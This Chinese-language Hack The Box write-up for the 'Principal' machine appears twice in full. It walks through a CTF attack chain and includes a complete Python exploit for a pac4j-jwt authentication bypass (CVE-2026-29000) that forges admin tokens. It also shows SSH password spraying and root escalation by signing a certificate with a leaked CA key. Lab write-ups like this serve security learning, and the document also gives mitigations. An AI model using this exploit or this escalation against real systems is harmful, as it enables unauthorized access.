本文记录了一次完整的渗透测试打靶(CTF/HTB)过程。攻击者首先通过 Nmap 扫描发现目标开放了 22 和 8080 端口。在 8080 端口的 Web 服务中,发现其使用了存在 CVE-2026-29000 认证绕过漏洞 的 pac4j-jwt 组件。通过利用该 JWT 验证逻辑缺陷(解密后未校验签名),攻击者伪造了 Admin 权限的 Token 登入后台,并获取到 svc-deploy 用户的 SSH 凭据。登录服务器后,发现系统信任本地的一个 SSH CA 证书私钥。攻击者利用该私钥签发了具有 root 权限的 SSH 临时证书,最终成功获取最高权限。 本文记录了一次完整的渗透测试打靶(CTF/HTB)过程。攻击者首先通过 Nmap 扫描发现目标开放了 22 和 8080 端口。在 8080 端口的 Web 服务中,发现其使用了存在 CVE-2026-29000 认证绕过漏洞 的 pac4j-jwt 组件。通过利用该 JWT 验证逻辑缺陷(解密后未校验签名),攻击者伪造了 Admin 权限的 Token 登入后台,并获取到 svc-deploy 用户的 SSH 凭据。登录服务器后,发现系统信任本地的一个 SSH CA 证书私钥。攻击者利用该私钥签发了具有 root 权限的 SSH 临时证书,最终成功获取最高权限。

枚举

-> nmap -sC -sV -T4 10.129.229.236
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-15 07:48 +0000
Nmap scan report for principal.htb (10.129.229.236)
Host is up (0.42s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 b0:a0:ca:46:bc:c2:cd:7e:10:05:05:2a:b8:c9:48:91 (ECDSA)
|_  256 e8:a4:9d:bf:c1:b6:2a:37:93:40:d0:78:00:f5:5f:d9 (ED25519)
8080/tcp open  http-proxy Jetty
|_http-server-header: Jetty
|_http-open-proxy: Proxy might be redirecting requests
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.1 404 Not Found
|     Date: Sun, 15 Mar 2026 07:48:35 GMT
|     Server: Jetty
|     X-Powered-By: pac4j-jwt/6.0.3
|     Cache-Control: must-revalidate,no-cache,no-store
|     Content-Type: application/json

发现22,8080端口。

Web

8080端口中pac4j-jwt/6.0.3 搜索可以得到

CVE-2026-29000

CVE-2026-29000 是 2026 年披露的一个 严重身份认证绕过漏洞(Authentication Bypass),影响 Java 生态常用的安全框架 pac4j 的 JWT 模块 pac4j-jwt。该漏洞允许攻击者伪造身份令牌,从而直接登录系统甚至获得管理员权限。

下面从多个角度做一个概览:


一、漏洞基本信息

  • CVE编号:CVE-2026-29000
  • 组件:pac4j-jwt(pac4j安全框架JWT模块)
  • 漏洞类型:认证绕过 / JWT验证逻辑缺陷
  • 严重等级:Critical(CVSS约 9.1–10.0)
  • 披露时间:2026-03-04
  • 影响版本:

  • pac4j-jwt 4.0 – 4.5.8
  • pac4j-jwt 5.0 – 5.7.8
  • pac4j-jwt 6.0 – 6.3.2
  • 修复版本:

  • 4.5.9
  • 5.7.9
  • 6.3.3

  • 二、漏洞核心问题

    漏洞发生在 JwtAuthenticator 处理加密 JWT(JWE)时的逻辑错误

    正常 JWT 认证流程:

  • 客户端发送 JWT
  • 服务端验证签名(JWS)
  • 如果是加密 JWT(JWE)
  • 但是漏洞版本存在一个问题:

    解密后没有强制验证签名。

    当内部 JWT 是 PlainJWT(无签名) 时:

  • toSignedJWT() 返回 null
  • 签名校验代码被跳过
  • 认证直接通过
  • 因此攻击者可以构造伪造 Token。


    三、攻击思路(高层)

    攻击者只需要:

    1️⃣ 获取服务器 RSA 公钥

    (很多系统会公开 JWKS endpoint)

    例如:

    /.well-known/jwks.json
    /pubkey

    2️⃣ 构造一个 PlainJWT

    例如:

    {
      "sub": "admin",
      "role": "admin"
    }

    3️⃣ 用服务器公钥加密生成 JWE

    4️⃣ 将该 Token 作为

    Authorization: Bearer <token>

    发送请求

    服务器解密后:

  • 发现不是 SignedJWT
  • 跳过签名校验
  • 直接读取 claims
  • 结果:

    攻击者成功伪造任意用户身份。


    四、漏洞影响范围

    这个漏洞影响较大,因为 pac4j 在 Java 生态使用广泛

    常见使用项目包括:

  • Apereo CAS
  • Apache Knox
  • Apache Syncope
  • Java Web SSO 系统
  • API Gateway / IAM系统
  • 如果使用 JWT + pac4j-jwt 的服务可能受影响。


    五、攻击效果

    攻击者可以做到:

  • 任意用户登录
  • 伪造管理员身份
  • 绕过认证系统
  • 访问受保护 API
  • 获取敏感数据
  • 因为无需凭据:

    攻击复杂度非常低。


    六、漏洞本质

    本质是一个典型安全误区:

    “加密 ≠ 身份认证”

  • JWE:保证数据机密性
  • JWS:保证数据完整性和身份
  • 如果只做解密,不做签名验证:

    系统就无法确认 token 来源。


    七、修复方式

    官方建议:

    1 升级版本

    升级 pac4j-jwt:

    4.5.9
    5.7.9
    6.3.3

    修复内容:

  • 解密后强制检查 JWT 类型
  • 如果不是 SignedJWT → 拒绝认证

  • 2 临时缓解措施

    如果无法升级:

    可以做一些防护:

  • 禁止 alg: none
  • 拦截异常 JWE token
  • WAF检测 JWT 结构
  • 监控异常登录日志
  • 限制 JWT 公钥访问

  • 八、简单总结

    一句话总结这个漏洞:

    只用服务器公开的 RSA 公钥,就可以伪造任意用户登录。

    属于:

  • 认证绕过
  • JWT验证逻辑漏洞
  • 高危漏洞
  • USER

    现在我们需要服务器的 RSA 公钥

    查看源代码发现http://principal.htb:8080/static/js/app.js,其中暴露了几个端点

    • const API_BASE = '';
    • const JWKS_ENDPOINT = '/api/auth/jwks'; 获取公钥
    • const AUTH_ENDPOINT = '/api/auth/login';
    • const DASHBOARD_ENDPOINT = '/api/dashboard';
    • const USERS_ENDPOINT = '/api/users';
    • const SETTINGS_ENDPOINT = '/api/settings';
    curl http://principal.htb:8080/api/auth/jwks
    # 返回{"keys":[{"kty":"RSA","e":"AQAB","kid":"enc-key-1","n":"lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61iNgYsFUXE9j2MAqmekpnyapD6A9dfSANhSgCF60uAZhnpIkFQVKEZday6ZIxoHpuP9zh2c3a7JrknrTbCPKzX39T6IK8pydccUvRl9zT4E_i6gtoVCUKixFVHnCvBpWJtmn4h3PCPCIOXtbZHAP3Nw7ncbXXNsrO3zmWXl-GQPuXu5-Uoi6mBQbmm0Z0SC07MCEZdFwoqQFC1E6OMN2G-KRwmuf661-uP9kPSXW8l4FutRpk6-LZW5C7gwihAiWyhZLQpjReRuhnUvLbG7I_m2PV0bWWy-Fw"}]}

    并且发现

    // Role constants - must match server-side role definitions
    const ROLES = {
        ADMIN: 'ROLE_ADMIN',
        MANAGER: 'ROLE_MANAGER',
        USER: 'ROLE_USER'
    };

    使用官方脚本

    #!/usr/bin/env python3
    """CVE-2026-29000: pac4j-jwt Authentication Bypass"""
    
    import requests
    import json
    import base64
    import time
    import sys
    from jwcrypto import jwk, jwe
    
    TARGET = sys.argv[1]
    
    # Step 1: Fetch the RSA public key from JWKS
    print(f"[+] Fetching RSA public key from JWKS...")
    resp = requests.get(f"{TARGET}/api/auth/jwks")
    jwks_data = resp.json()
    key_data = jwks_data["keys"][0]
    pub_key = jwk.JWK(**key_data)    # **key_data: 解包字典数据为关键字参数
    print(f"[+] Successfully fetched RSA public key from JWKS")
    
    # Step 2: Craft a PlainJWT with admin claims
    def b64url_encode(data):
        return base64.urlsafe_b64encode(data).rstrip(b"=").decode() # rstrip(b"="): 移除字节串末尾的等号
    
    now = int(time.time())
    header = b64url_encode(json.dumps({"alg": "none"}).encode()) # json.dumps(): 将字典转换为JSON字符串 encode(): 将字符串转换为字节串
    payload = b64url_encode(json.dumps({
        "sub": "admin",
        "role": "ROLE_ADMIN",
        "iss": "principal-platform",
        "iat": now,
        "exp": now + 3600,
    }).encode())
    plain_jwt = f"{header}.{payload}." # 末尾.(没有也要预留): 添加签名
    print(f"[+] Crafted PlainJWT with sub=admin, role=ROLE_ADMIN") 
    
    # Step 3:Wrap in JWE encrypted with server's RSA public key
    jwe_token = jwe.JWE(
        plain_jwt.encode(),
        recipient=pub_key,
        protected=json.dumps({
            "alg": "RSA-OAEP-256",
            "enc": "A128GCM",
            "kid": key_data["kid"],
            "cty": "JWT",
        })
    )
    forged_token = jwe_token.serialize(compact=True) # compact=True: 将JWE对象序列化为紧凑格式
    print(f"[+] Forged JWE token created")
    
    # Step 4: Access protected endpoints
    headers = {"Authorization": f"Bearer {forged_token}"}
    
    print(f"[+] Accessing /api/dashboard...")
    resp = requests.get(f"{TARGET}/api/dashboard", headers=headers)
    print(f"[+] Status: {resp.status_code}")
    data = resp.json()
    print(f"[+] Authenticated as: {data['user']['username']} ({data['user']['role']})")
    
    print(f"[+] Token: {forged_token}")

    运行后得到token,我们查看app.js可以发现

    // Token management
    class TokenManager {
        static getToken() {
            return sessionStorage.getItem('auth_token');
        }
    
        static setToken(token) {
            sessionStorage.setItem('auth_token', token);
        }
    
        static clearToken() {
            sessionStorage.removeItem('auth_token');
        }
    
        static isAuthenticated() {
            return !!this.getToken();
        }
    
        static getAuthHeaders() {
            const token = this.getToken();
            return token ? { 'Authorization': `Bearer ${token}` } : {};
        }
    }
    

    token在前端运用JavaScript脚本管理,通过在login的控制台加入我们的token

    sessionStorage.setItem('auth_token', 'token');

    刷新即可进入后台

    在设置界面可以发现:encryptionKey:D3pl0y_$$H_Now42! 以及一些用户名

    ➜  Principal nxc ssh 10.129.229.236 -u user.txt -p 'D3pl0y_$$H_Now42!'
    SSH         10.129.229.236  22     10.129.229.236   [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.14
    SSH         10.129.229.236  22     10.129.229.236   [-] admin:D3pl0y_$$H_Now42!
    SSH         10.129.229.236  22     10.129.229.236   [+] svc-deploy:D3pl0y_$$H_Now42!  Linux - Shell access!

    ROOT

    svc-deploy@principal:~$ id
    # uid=1001(svc-deploy) gid=1002(svc-deploy) groups=1002(svc-deploy),1001(deployers)
    svc-deploy@principal:~$ ls /opt/principal/
    # app  deploy  ssh

    发现三个文件,并且在ssh中发现密钥

    svc-deploy@principal:~$ ls /opt/principal/ssh/
    # README.txt  ca	ca.pub
    svc-deploy@principal:~$ cat /opt/principal/ssh/README.txt
    # 返回:
    CA keypair for SSH certificate automation.
    
    This CA is trusted by sshd for certificate-based authentication.
    Use deploy.sh to issue short-lived certificates for service accounts.
    
    Key details:
    Algorithm: RSA 4096-bit
    Created: 2025-11-15
    Purpose: Automated deployment authentication

    这里提到了deploy.sh ,以及我们可以读取ca私钥

    find / -name "deploy.sh" 2>/dev/null 没有找到文件,查看下sshd的配置文件

    svc-deploy@principal:~$ cat /etc/ssh/sshd_config.d/60-principal.conf
    # Principal machine SSH configuration
    PubkeyAuthentication yes
    PasswordAuthentication yes
    PermitRootLogin prohibit-password
    TrustedUserCAKeys /opt/principal/ssh/ca.pub

    当OpenSSH的TrustedUserCAKeys配置中没有包含AuthorizedPrincipalsFile时:任何由受信任的CA签署的证书都会被接受。

    所以我们可以使用伪造的证书以root身份登录SSH

    ssh-keygen -t ed25519 -f /tmp/pwn -N ""
    ssh-keygen -s /opt/principal/ssh/ca -I "pwn-root" -n root -V +1h /tmp/pwn.pub
    # ssh-keygen (SSH Key Generation Tool):SSH 密钥生成与管理工具。
    # -s /opt/principal/ssh/ca (Sign with CA Key):最关键的参数。指定使用位于 /opt/principal/ssh/ca 的 CA 私钥 对证书进行签名。
    # -I "pwn-root" (Identity):证书的标识符(Key ID)。这个字符串会被记录在服务器的日志中,通常用于审计(这里你起的标识符是 "pwn-root")。
    # -n root (Principals):权限分配。指定该证书允许登录的用户名 (Username)。由于你填了 root,这意味着该证书仅对登录 root 账户有效。
    # -V +1h (Validity):有效期 (Validity Period)。指定证书从现在起 1 小时内有效。这是一个聪明的做法,既能完成攻击,又不容易留下长期的后门。
    # /tmp/pwn.pub (Public Key to sign):指定你要签名的原始公钥文件。

    最后:ssh -i /tmp/pwn root@localhost


    攻击链

    nmap -> 8080 pac4j-jwt/6.0.3 -> CVE,认证漏洞 -> 管理员面板ssh泄露 -> sshd的错误配置 -> AuthorizedPrincipalsFile没有设置(意味着所有用户可以登录到所有用户) -> 伪造root证书,登录

     

    This post has not been translated to English yet.

    枚举

    -> nmap -sC -sV -T4 10.129.229.236
    Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-15 07:48 +0000
    Nmap scan report for principal.htb (10.129.229.236)
    Host is up (0.42s latency).
    Not shown: 998 closed tcp ports (reset)
    PORT     STATE SERVICE    VERSION
    22/tcp   open  ssh        OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey:
    |   256 b0:a0:ca:46:bc:c2:cd:7e:10:05:05:2a:b8:c9:48:91 (ECDSA)
    |_  256 e8:a4:9d:bf:c1:b6:2a:37:93:40:d0:78:00:f5:5f:d9 (ED25519)
    8080/tcp open  http-proxy Jetty
    |_http-server-header: Jetty
    |_http-open-proxy: Proxy might be redirecting requests
    | fingerprint-strings:
    |   FourOhFourRequest:
    |     HTTP/1.1 404 Not Found
    |     Date: Sun, 15 Mar 2026 07:48:35 GMT
    |     Server: Jetty
    |     X-Powered-By: pac4j-jwt/6.0.3
    |     Cache-Control: must-revalidate,no-cache,no-store
    |     Content-Type: application/json

    发现22,8080端口。

    Web

    8080端口中pac4j-jwt/6.0.3 搜索可以得到

    CVE-2026-29000

    CVE-2026-29000 是 2026 年披露的一个 严重身份认证绕过漏洞(Authentication Bypass),影响 Java 生态常用的安全框架 pac4j 的 JWT 模块 pac4j-jwt。该漏洞允许攻击者伪造身份令牌,从而直接登录系统甚至获得管理员权限。

    下面从多个角度做一个概览:


    一、漏洞基本信息

  • CVE编号:CVE-2026-29000
  • 组件:pac4j-jwt(pac4j安全框架JWT模块)
  • 漏洞类型:认证绕过 / JWT验证逻辑缺陷
  • 严重等级:Critical(CVSS约 9.1–10.0)
  • 披露时间:2026-03-04
  • 影响版本:

  • pac4j-jwt 4.0 – 4.5.8
  • pac4j-jwt 5.0 – 5.7.8
  • pac4j-jwt 6.0 – 6.3.2
  • 修复版本:

  • 4.5.9
  • 5.7.9
  • 6.3.3

  • 二、漏洞核心问题

    漏洞发生在 JwtAuthenticator 处理加密 JWT(JWE)时的逻辑错误

    正常 JWT 认证流程:

  • 客户端发送 JWT
  • 服务端验证签名(JWS)
  • 如果是加密 JWT(JWE)
  • 但是漏洞版本存在一个问题:

    解密后没有强制验证签名。

    当内部 JWT 是 PlainJWT(无签名) 时:

  • toSignedJWT() 返回 null
  • 签名校验代码被跳过
  • 认证直接通过
  • 因此攻击者可以构造伪造 Token。


    三、攻击思路(高层)

    攻击者只需要:

    1️⃣ 获取服务器 RSA 公钥

    (很多系统会公开 JWKS endpoint)

    例如:

    /.well-known/jwks.json
    /pubkey

    2️⃣ 构造一个 PlainJWT

    例如:

    {
      "sub": "admin",
      "role": "admin"
    }

    3️⃣ 用服务器公钥加密生成 JWE

    4️⃣ 将该 Token 作为

    Authorization: Bearer <token>

    发送请求

    服务器解密后:

  • 发现不是 SignedJWT
  • 跳过签名校验
  • 直接读取 claims
  • 结果:

    攻击者成功伪造任意用户身份。


    四、漏洞影响范围

    这个漏洞影响较大,因为 pac4j 在 Java 生态使用广泛

    常见使用项目包括:

  • Apereo CAS
  • Apache Knox
  • Apache Syncope
  • Java Web SSO 系统
  • API Gateway / IAM系统
  • 如果使用 JWT + pac4j-jwt 的服务可能受影响。


    五、攻击效果

    攻击者可以做到:

  • 任意用户登录
  • 伪造管理员身份
  • 绕过认证系统
  • 访问受保护 API
  • 获取敏感数据
  • 因为无需凭据:

    攻击复杂度非常低。


    六、漏洞本质

    本质是一个典型安全误区:

    “加密 ≠ 身份认证”

  • JWE:保证数据机密性
  • JWS:保证数据完整性和身份
  • 如果只做解密,不做签名验证:

    系统就无法确认 token 来源。


    七、修复方式

    官方建议:

    1 升级版本

    升级 pac4j-jwt:

    4.5.9
    5.7.9
    6.3.3

    修复内容:

  • 解密后强制检查 JWT 类型
  • 如果不是 SignedJWT → 拒绝认证

  • 2 临时缓解措施

    如果无法升级:

    可以做一些防护:

  • 禁止 alg: none
  • 拦截异常 JWE token
  • WAF检测 JWT 结构
  • 监控异常登录日志
  • 限制 JWT 公钥访问

  • 八、简单总结

    一句话总结这个漏洞:

    只用服务器公开的 RSA 公钥,就可以伪造任意用户登录。

    属于:

  • 认证绕过
  • JWT验证逻辑漏洞
  • 高危漏洞
  • USER

    现在我们需要服务器的 RSA 公钥

    查看源代码发现http://principal.htb:8080/static/js/app.js,其中暴露了几个端点

    • const API_BASE = '';
    • const JWKS_ENDPOINT = '/api/auth/jwks'; 获取公钥
    • const AUTH_ENDPOINT = '/api/auth/login';
    • const DASHBOARD_ENDPOINT = '/api/dashboard';
    • const USERS_ENDPOINT = '/api/users';
    • const SETTINGS_ENDPOINT = '/api/settings';
    curl http://principal.htb:8080/api/auth/jwks
    # 返回{"keys":[{"kty":"RSA","e":"AQAB","kid":"enc-key-1","n":"lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61iNgYsFUXE9j2MAqmekpnyapD6A9dfSANhSgCF60uAZhnpIkFQVKEZday6ZIxoHpuP9zh2c3a7JrknrTbCPKzX39T6IK8pydccUvRl9zT4E_i6gtoVCUKixFVHnCvBpWJtmn4h3PCPCIOXtbZHAP3Nw7ncbXXNsrO3zmWXl-GQPuXu5-Uoi6mBQbmm0Z0SC07MCEZdFwoqQFC1E6OMN2G-KRwmuf661-uP9kPSXW8l4FutRpk6-LZW5C7gwihAiWyhZLQpjReRuhnUvLbG7I_m2PV0bWWy-Fw"}]}

    并且发现

    // Role constants - must match server-side role definitions
    const ROLES = {
        ADMIN: 'ROLE_ADMIN',
        MANAGER: 'ROLE_MANAGER',
        USER: 'ROLE_USER'
    };

    使用官方脚本

    #!/usr/bin/env python3
    """CVE-2026-29000: pac4j-jwt Authentication Bypass"""
    
    import requests
    import json
    import base64
    import time
    import sys
    from jwcrypto import jwk, jwe
    
    TARGET = sys.argv[1]
    
    # Step 1: Fetch the RSA public key from JWKS
    print(f"[+] Fetching RSA public key from JWKS...")
    resp = requests.get(f"{TARGET}/api/auth/jwks")
    jwks_data = resp.json()
    key_data = jwks_data["keys"][0]
    pub_key = jwk.JWK(**key_data)    # **key_data: 解包字典数据为关键字参数
    print(f"[+] Successfully fetched RSA public key from JWKS")
    
    # Step 2: Craft a PlainJWT with admin claims
    def b64url_encode(data):
        return base64.urlsafe_b64encode(data).rstrip(b"=").decode() # rstrip(b"="): 移除字节串末尾的等号
    
    now = int(time.time())
    header = b64url_encode(json.dumps({"alg": "none"}).encode()) # json.dumps(): 将字典转换为JSON字符串 encode(): 将字符串转换为字节串
    payload = b64url_encode(json.dumps({
        "sub": "admin",
        "role": "ROLE_ADMIN",
        "iss": "principal-platform",
        "iat": now,
        "exp": now + 3600,
    }).encode())
    plain_jwt = f"{header}.{payload}." # 末尾.(没有也要预留): 添加签名
    print(f"[+] Crafted PlainJWT with sub=admin, role=ROLE_ADMIN") 
    
    # Step 3:Wrap in JWE encrypted with server's RSA public key
    jwe_token = jwe.JWE(
        plain_jwt.encode(),
        recipient=pub_key,
        protected=json.dumps({
            "alg": "RSA-OAEP-256",
            "enc": "A128GCM",
            "kid": key_data["kid"],
            "cty": "JWT",
        })
    )
    forged_token = jwe_token.serialize(compact=True) # compact=True: 将JWE对象序列化为紧凑格式
    print(f"[+] Forged JWE token created")
    
    # Step 4: Access protected endpoints
    headers = {"Authorization": f"Bearer {forged_token}"}
    
    print(f"[+] Accessing /api/dashboard...")
    resp = requests.get(f"{TARGET}/api/dashboard", headers=headers)
    print(f"[+] Status: {resp.status_code}")
    data = resp.json()
    print(f"[+] Authenticated as: {data['user']['username']} ({data['user']['role']})")
    
    print(f"[+] Token: {forged_token}")

    运行后得到token,我们查看app.js可以发现

    // Token management
    class TokenManager {
        static getToken() {
            return sessionStorage.getItem('auth_token');
        }
    
        static setToken(token) {
            sessionStorage.setItem('auth_token', token);
        }
    
        static clearToken() {
            sessionStorage.removeItem('auth_token');
        }
    
        static isAuthenticated() {
            return !!this.getToken();
        }
    
        static getAuthHeaders() {
            const token = this.getToken();
            return token ? { 'Authorization': `Bearer ${token}` } : {};
        }
    }
    

    token在前端运用JavaScript脚本管理,通过在login的控制台加入我们的token

    sessionStorage.setItem('auth_token', 'token');

    刷新即可进入后台

    在设置界面可以发现:encryptionKey:D3pl0y_$$H_Now42! 以及一些用户名

    ➜  Principal nxc ssh 10.129.229.236 -u user.txt -p 'D3pl0y_$$H_Now42!'
    SSH         10.129.229.236  22     10.129.229.236   [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.14
    SSH         10.129.229.236  22     10.129.229.236   [-] admin:D3pl0y_$$H_Now42!
    SSH         10.129.229.236  22     10.129.229.236   [+] svc-deploy:D3pl0y_$$H_Now42!  Linux - Shell access!

    ROOT

    svc-deploy@principal:~$ id
    # uid=1001(svc-deploy) gid=1002(svc-deploy) groups=1002(svc-deploy),1001(deployers)
    svc-deploy@principal:~$ ls /opt/principal/
    # app  deploy  ssh

    发现三个文件,并且在ssh中发现密钥

    svc-deploy@principal:~$ ls /opt/principal/ssh/
    # README.txt  ca	ca.pub
    svc-deploy@principal:~$ cat /opt/principal/ssh/README.txt
    # 返回:
    CA keypair for SSH certificate automation.
    
    This CA is trusted by sshd for certificate-based authentication.
    Use deploy.sh to issue short-lived certificates for service accounts.
    
    Key details:
    Algorithm: RSA 4096-bit
    Created: 2025-11-15
    Purpose: Automated deployment authentication

    这里提到了deploy.sh ,以及我们可以读取ca私钥

    find / -name "deploy.sh" 2>/dev/null 没有找到文件,查看下sshd的配置文件

    svc-deploy@principal:~$ cat /etc/ssh/sshd_config.d/60-principal.conf
    # Principal machine SSH configuration
    PubkeyAuthentication yes
    PasswordAuthentication yes
    PermitRootLogin prohibit-password
    TrustedUserCAKeys /opt/principal/ssh/ca.pub

    当OpenSSH的TrustedUserCAKeys配置中没有包含AuthorizedPrincipalsFile时:任何由受信任的CA签署的证书都会被接受。

    所以我们可以使用伪造的证书以root身份登录SSH

    ssh-keygen -t ed25519 -f /tmp/pwn -N ""
    ssh-keygen -s /opt/principal/ssh/ca -I "pwn-root" -n root -V +1h /tmp/pwn.pub
    # ssh-keygen (SSH Key Generation Tool):SSH 密钥生成与管理工具。
    # -s /opt/principal/ssh/ca (Sign with CA Key):最关键的参数。指定使用位于 /opt/principal/ssh/ca 的 CA 私钥 对证书进行签名。
    # -I "pwn-root" (Identity):证书的标识符(Key ID)。这个字符串会被记录在服务器的日志中,通常用于审计(这里你起的标识符是 "pwn-root")。
    # -n root (Principals):权限分配。指定该证书允许登录的用户名 (Username)。由于你填了 root,这意味着该证书仅对登录 root 账户有效。
    # -V +1h (Validity):有效期 (Validity Period)。指定证书从现在起 1 小时内有效。这是一个聪明的做法,既能完成攻击,又不容易留下长期的后门。
    # /tmp/pwn.pub (Public Key to sign):指定你要签名的原始公钥文件。

    最后:ssh -i /tmp/pwn root@localhost


    攻击链

    nmap -> 8080 pac4j-jwt/6.0.3 -> CVE,认证漏洞 -> 管理员面板ssh泄露 -> sshd的错误配置 -> AuthorizedPrincipalsFile没有设置(意味着所有用户可以登录到所有用户) -> 伪造root证书,登录